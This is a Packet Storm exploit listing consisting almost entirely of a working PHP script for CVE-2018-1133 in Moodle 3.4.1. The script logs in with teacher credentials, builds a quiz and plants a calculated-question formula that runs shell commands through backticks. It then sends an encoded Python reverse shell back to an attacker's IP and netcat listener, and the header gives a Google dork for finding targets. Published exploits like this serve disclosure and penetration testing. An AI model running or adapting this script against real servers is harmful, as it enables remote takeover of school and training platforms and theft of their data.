Lucene search

K
packetstormDarryn TenPACKETSTORM:152112
HistoryMar 15, 2019 - 12:00 a.m.

Moodle 3.4.1 Remote Code Execution

2019-03-1500:00:00
Darryn Ten
packetstormsecurity.com
75

EPSS

0.832

Percentile

98.5%

`<?php  
/**  
* Exploit Title: Moodle v3.4.1 RCE Exploit  
* Google Dork: inurl:"/course/jumpto.php?jump="  
* Date: 15 March 2019  
* Exploit Author: Darryn Ten  
* Vendor Homepage: https://moodle.org  
* Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip  
* Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)  
* Tested on: Linux with Moodle v3.4.1  
* CVE : CVE-2018-1133  
*  
* This exploit is based on information provided by Robin Peraglie.  
* Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution  
*  
* A user with the teacher role is able to execute arbitrary code.  
*  
* Usage:  
*  
* > php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1  
*  
* user The account username  
* pass The password to the account  
* ip Callback IP  
* port Callback Port  
* course Valid course ID belonging to the teacher  
*  
* Make sure you're running a netcat listener on the specified port before  
* executing this script.  
*  
* > nc -lnvp 1010  
*  
* This will attempt to open up a reverse shell to the listening IP and port.  
*  
* You can start the script with `debug=true` to enable debug mode.  
*/  
namespace exploit {  
class moodle {  
public $ip;  
public $port;  
public $courseId;  
  
public $cookie_jar;  
public $url;  
public $pass;  
public $payload;  
public $quizId = false;  
  
public $moodleSession = false;  
public $moodleKey;  
  
// Verification patterns  
public $loginSuccessMatch = "/course.view\.php/";  
public $courseSuccessMatch = "/.\/i.Edit.settings.\/a./";  
public $editSuccessMatch = "/.view.php\?id=2&notifyeditingon=1/";  
public $quizSuccessMatch = "/.title.Editing.Quiz.\/title./";  
public $quizConfigMatch = "/title.*xxxx.\/title./";  
public $evilSuccess = "/The\ wild\ cards\ \<strong\>\{x..\}\<\/strong\>\ will\ be\ substituted/";  
  
public $debug;  
  
public function __construct($url, $user, $pass, $ip, $port, $course, $debug) {  
$this->cookie_jar = tempnam("/tmp","cookie");  
$this->url = $url;  
$this->pass = $pass;  
$this->ip = $ip;  
$this->port = $port;  
$this->courseId = $course;  
$this->debug = $debug;  
  
// Inject a reverse shell  
// You could modify this payload to inject whatever you like  
$this->payload = "(python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"".$this->ip."\",".$this->port."))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b')";  
  
echo("\n\r");  
echo("*------------------------------*\n\r");  
echo("* Noodle [Moodle RCE] (v3.4.1) *\n\r");  
echo("*------------------------------*\n\r");  
echo("\n\r");  
echo("[!] Make sure you have a listener\n\r");  
echo(sprintf("[!] at %s:%s\n\r", $this->ip, $this->port));  
echo("\n\r");  
  
$this->login($url, $user, $pass);  
$this->loadCourse($this->courseId);  
$this->enableEdit();  
$this->addQuiz();  
$this->editQuiz();  
$this->addCalculatedQuestion();  
$this->addEvilQuestion();  
$this->exploit();  
echo "[*] DONE\n\r";  
die();  
}  
  
function login($url, $user, $pass) {  
echo(sprintf("[*] Logging in as user %s with password %s \n\r", $user, $pass));  
  
$data = [  
"anchor" => "",  
"username" => $user,  
"password" => $pass  
];  
  
$result = $this->httpPost("/login/index.php", $data);  
  
if (!preg_match($this->loginSuccessMatch, $result["body"])) {  
echo "[-] LOGIN FAILED!\n\r";  
echo "[?] Do you have the right credentials and url?\n\r";  
die();  
}  
  
$matches = [];  
$cookies = preg_match_all("/MoodleSession=(.*); path=/", $result["header"], $matches);  
  
$this->moodleSession = $matches[1][1];  
  
$matches = [];  
$key = preg_match_all("/sesskey\":\"(.*)\",\"themerev/", $result["body"], $matches);  
  
$this->moodleKey = $matches[1][0];  
  
echo "[+] Successful Login\n\r";  
echo sprintf("[>] Moodle Session %s \n\r", $this->moodleSession);  
echo sprintf("[>] Moodle Key %s \n\r", $this->moodleKey);  
}  
  
function loadCourse($id) {  
echo(sprintf("[*] Loading Course ID %s \n\r", $id));  
$result = $this->httpGet(sprintf("/course/view.php?id=%s", $id), $this->moodleSession);  
  
if (!preg_match($this->courseSuccessMatch, $result["body"])) {  
echo "[-] LOADING COURSE FAILED!\n\r";  
echo "[?] Does the course exist and belong to the teacher?\n\r";  
die();  
}  
  
echo "[+] Successfully Loaded Course\n\r";  
}  
  
function enableEdit() {  
echo(sprintf("[*] Enable Editing\n\r"));  
$result = $this->httpGet(sprintf(  
"/course/view.php?id=%s&sesskey=%s&edit=on",  
$this->courseId,  
$this->moodleKey  
), $this->moodleSession);  
  
if (!preg_match($this->editSuccessMatch, $result["header"])) {  
echo "[-] ENABLE EDITING FAILED!\n\r";  
echo "[?] Does the user have the teacher role?\n\r";  
die();  
}  
  
echo "[+] Successfully Enabled Course Editing\n\r";  
}  
  
function addQuiz() {  
echo(sprintf("[*] Adding Quiz\n\r"));  
  
$data = [  
"course" => $this->courseId,  
"sesskey" => $this->moodleKey,  
"jump" => urlencode(sprintf(  
"/course/mod.php?id=%s&sesskey=%s&str=0&add=quiz&section=0",  
$this->courseId,  
$this->moodleKey  
)),  
];  
  
$result = $this->httpPost("/course/jumpto.php", $data, $this->moodleSession);  
  
if (!preg_match($this->quizSuccessMatch, $result["body"])) {  
echo "[-] ADD QUIZ FAILED!\n\r";  
die();  
}  
  
echo "[+] Successfully Added Quiz\n\r";  
echo "[*] Configuring New Quiz\n\r";  
  
$submit = [  
"grade" => 10,  
"boundary_repeats" => 1,  
"completionunlocked" => 1,  
"course" => $this->courseId,  
"coursemodule" => "",  
"section" => 0,  
"module" => 16,  
"modulename" => "quiz",  
"instance" => "",  
"add" => "quiz",  
"update" => 0,  
"return" => 0,  
"sr" => 0,  
"sesskey" => $this->moodleKey,  
"_qf__mod_quiz_mod_form" => 1,  
"mform_showmore_id_layouthdr" => 0,  
"mform_showmore_id_interactionhdr" => 0,  
"mform_showmore_id_display" => 0,  
"mform_showmore_id_security" => 0,  
"mform_isexpanded_id_general" => 1,  
"mform_isexpanded_id_timing" => 0,  
"mform_isexpanded_id_modstandardgrade" => 0,  
"mform_isexpanded_id_layouthdr" => 0,  
"mform_isexpanded_id_interactionhdr" => 0,  
"mform_isexpanded_id_reviewoptionshdr" => 0,  
"mform_isexpanded_id_display" => 0,  
"mform_isexpanded_id_security" => 0,  
"mform_isexpanded_id_overallfeedbackhdr" => 0,  
"mform_isexpanded_id_modstandardelshdr" => 0,  
"mform_isexpanded_id_availabilityconditionsheader" => 0,  
"mform_isexpanded_id_activitycompletionheader" => 0,  
"mform_isexpanded_id_tagshdr" => 0,  
"mform_isexpanded_id_competenciessection" => 0,  
"name" => "xxxx",  
"introeditor[text]" => "<p>xxxx<br></p>",  
"introeditor[format]" => 1,  
"introeditor[itemid]" => 966459952,  
"showdescription" => 0,  
"overduehandling" => "autosubmit",  
"gradecat" => 1,  
"gradepass" => "",  
"attempts" => 0,  
"grademethod" => 1,  
"questionsperpage" => 1,  
"navmethod" => "free",  
"shuffleanswers" => 1,  
"preferredbehaviour" => "deferredfeedback",  
"attemptonlast" => 0,  
"attemptimmediately" => 1,  
"correctnessimmediately" => 1,  
"marksimmediately" => 1,  
"specificfeedbackimmediately" => 1,  
"generalfeedbackimmediately" => 1,  
"rightanswerimmediately" => 1,  
"overallfeedbackimmediately" => 1,  
"attemptopen" => 1,  
"correctnessopen" => 1,  
"marksopen" => 1,  
"specificfeedbackopen" => 1,  
"generalfeedbackopen" => 1,  
"rightansweropen" => 1,  
"overallfeedbackopen" => 1,  
"showuserpicture" => 0,  
"decimalpoints" => 2,  
"questiondecimalpoints" => -1,  
"showblocks" => 0,  
"quizpassword" => "",  
"subnet" => "",  
"browsersecurity" => "-",  
"feedbacktext[0][text]" => "",  
"feedbacktext[0][format]" => 1,  
"feedbacktext[0][itemid]" => 754687559,  
"feedbackboundaries[0]" => "",  
"feedbacktext[1][text]" => "",  
"feedbacktext[1][format]" => 1,  
"feedbacktext[1][itemid]" => 88204176,  
"visible" => 1,  
"cmidnumber" => "",  
"groupmode" => 0,  
"availabilityconditionsjson" => urlencode("{\"op\":\"&\",\"c\":[],\"showc\":[]}"),  
"completion" => 1,  
"tags" => "_qf__force_multiselect_submission",  
"competency_rule" => 0,  
"submitbutton" => "Save and display"  
];  
  
$result = $this->httpPost("/course/modedit.php", $submit, $this->moodleSession);  
  
if (!preg_match($this->quizConfigMatch, $result["body"])) {  
echo "[-] CONFIGURE QUIZ FAILED!\n\r";  
die();  
}  
  
$matches = [];  
$quiz = preg_match_all("/quiz\/view.php.id=(.*)&forceview=1/", $result["header"], $matches);  
  
$this->quizId = $matches[1][0];  
  
echo "[+] Successfully Configured Quiz\n\r";  
}  
  
function editQuiz() {  
echo(sprintf("[*] Loading Edit Quiz Page \n\r"));  
$result = $this->httpGet(sprintf("/mod/quiz/edit.php?cmid=%s", $this->quizId), $this->moodleSession);  
  
if (!preg_match("/.title.Editing quiz: xxxx.\/title/", $result["body"])) {  
echo "[-] LOADING EDITING PAGE FAILED!\n\r";  
die();  
}  
  
echo "[+] Successfully Loaded Edit Quiz Page\n\r";  
}  
  
function addCalculatedQuestion() {  
echo(sprintf("[*] Adding Calculated Question \n\r"));  
  
$endpoint = "/question/question.php?courseid=".$this->courseId."&sesskey=".$this->moodleKey."&qtype=calculated&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D".$this->quizId."%26addonpage%3D0&cmid=".$this->quizId."&category=2&addonpage=0&appendqnumstring=addquestion'";  
  
$result = $this->httpGet($endpoint, $this->moodleSession);  
  
if (!preg_match("/title.Editing\ a\ Calculated\ question.\/title/", $result["body"])) {  
echo "[-] ADDING CALCULATED QUESTION FAILED!\n\r";  
die();  
}  
  
echo "[+] Successfully Added Calculation Question\n\r";  
}  
  
function addEvilQuestion() {  
echo(sprintf("[*] Adding Evil Question \n\r"));  
  
$payload = [  
"initialcategory" => 1,  
"reload" => 1,  
"shuffleanswers" => 1,  
"answernumbering" => "abc",  
"mform_isexpanded_id_answerhdr" => 1,  
"noanswers" => 1,  
"nounits" => 1,  
"numhints" => 2,  
"synchronize" => "",  
"wizard" => "datasetdefinitions",  
"id" => "",  
"inpopup" => 0,  
"cmid" => $this->quizId,  
"courseid" => 2,  
"returnurl" => sprintf("/mod/quiz/edit.php?cmid=%s&addonpage=0", $this->quizId),  
"scrollpos" => 0,  
"appendqnumstring" => "addquestion",  
"qtype" => "calculated",  
"makecopy" => 0,  
"sesskey" => $this->moodleKey,  
"_qf__qtype_calculated_edit_form" => 1,  
"mform_isexpanded_id_generalheader" => 1,  
"mform_isexpanded_id_unithandling" => 0,  
"mform_isexpanded_id_unithdr" => 0,  
"mform_isexpanded_id_multitriesheader" => 0,  
"mform_isexpanded_id_tagsheader" => 0,  
"category" => "2,23",  
"name" => "zzzz",  
"questiontext[text]" => "<p>zzzz<br></p>",  
"questiontext[format]" => 1,  
"questiontext[itemid]" => 999787569,  
"defaultmark" => 1,  
"generalfeedback[text]" => "",  
"generalfeedback[format]" => 1,  
"generalfeedback[itemid]" => 729029157,  
"answer[0]" => ' /*{a*/`$_GET[0]`;//{x}}',  
"fraction[0]" => "1.0",  
"tolerance[0]" => "0.01",  
"tolerancetype[0]" => 1,  
"correctanswerlength[0]" => 2,  
"correctanswerformat[0]" => 1,  
"feedback[0][text]" => "",  
"feedback[0][format]" => 1,  
"feedback[0][itemid]" => 928615051,  
"unitrole" => 3,  
"penalty" => "0.3333333",  
"hint[0]text]" => "",  
"hint[0]format]" => 1,  
"hint[0]itemid]" => 236679070,  
"hint[1]text]" => "",  
"hint[1]format]" => 1,  
"hint[1]itemid]" => 272691514,  
"tags" => "_qf__force_multiselect_submission",  
"submitbutton" => "Save change"  
];  
  
$result = $this->httpPost("/question/question.php", $payload, $this->moodleSession);  
  
if (!preg_match($this->evilSuccess, $result["body"])) {  
echo "[-] EVIL QUESTION CREATION FAILED!\n\r";  
die();  
}  
  
echo "[+] Successfully Created Evil Question\n\r";  
}  
  
function exploit() {  
echo "[*] Sending Exploit\n\r";  
echo "\n\r";  
  
if ($this->debug) {  
echo "[D] Payload: \n\r";  
echo sprintf("[>] %s \n\r", $this->payload);  
}  
  
$exploitUrl = sprintf(  
"/question/question.php?returnurl=%s&addonpage=0&appendqnumstring=addquestion&scrollpos=0&id=8&wizardnow=datasetitems&cmid=%s&0=(%s)",  
urlencode(sprintf(  
"/mod/quiz/edit.php?cmid=%s",  
$this->quizId)  
),  
$this->quizId,  
$this->payload);  
  
if ($this->debug) {  
echo sprintf("[D] Exploit URL: %s \n\r", $exploitUrl);  
}  
  
echo sprintf("[>] You should receive a reverse shell attempt from the target at %s on port %s \n\r", $this->ip, $this->port);  
echo sprintf("[>] If connection was successful this program will wait here until you close the connection.\n\r");  
echo sprintf("[>] You should be able to Ctrl+C and retain the connection through netcat.\n\r");  
$this->httpGet($exploitUrl, $this->moodleSession);  
}  
  
function httpPost($url, $data, $session = false, $json = false)  
{  
if ($this->debug) {  
echo(sprintf("[D] Doing HTTP POST to URL: %s \n\r", $url));  
echo(sprintf("[D] Session: %s \n\r", $session));  
echo(sprintf("[D] Data: %s \n\r", json_encode($data)));  
echo("\n\r");  
}  
  
$curl = curl_init(sprintf("%s%s", $this->url, $url));  
  
$headers = [];  
  
if ($session) {  
array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));  
}  
  
if ($json) {  
array_push($headers, "Content-Type: application/json");  
} else {  
$data = urldecode(http_build_query($data));  
}  
  
curl_setopt($curl, CURLOPT_POST, true);  
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);  
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);  
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($curl, CURLOPT_HEADER, true);  
curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);  
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);  
$response = curl_exec($curl);  
  
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);  
$header = substr($response, 0, $header_size);  
$body = substr($response, $header_size);  
  
if ($this->debug) {  
echo "[D] Response Header";  
echo sprintf("[>] %s", $header);  
echo "";  
echo "[D] Response Body";  
echo sprintf("[>] %s", $body);  
}  
  
return [  
"header" => $header,  
"body" => $body  
];  
}  
  
function httpGet($route, $session = false)  
{  
$url = sprintf("%s%s", $this->url, $route);  
  
if ($this->debug) {  
echo(sprintf("[D] Doing HTTP GET to URL: %s \n\r", $url));  
echo("\n\r");  
}  
  
$headers = [];  
  
if ($session) {  
array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));  
}  
  
$curl = curl_init($url);  
  
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($curl, CURLOPT_HEADER, true);  
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);  
curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);  
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);  
$response = curl_exec($curl);  
  
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);  
$header = substr($response, 0, $header_size);  
$body = substr($response, $header_size);  
  
if ($this->debug) {  
echo "[D] Response Header";  
echo sprintf("[>] %s", $header);  
echo "";  
echo "[D] Response Body";  
echo sprintf("[>] %s", $body);  
}  
  
return [  
"header" => $header,  
"body" => $body  
];  
}  
}  
  
parse_str(implode("&", array_slice($argv, 1)), $_GET);  
  
$url = $_GET["url"];  
$user = $_GET["user"];  
$pass = $_GET["pass"];  
$ip = $_GET["ip"];  
$port = $_GET["port"];  
$course = $_GET["course"];  
$debug = isset($_GET["debug"]) ? true : false;  
  
new \exploit\moodle($url, $user, $pass, $ip, $port, $course, $debug);  
}  
`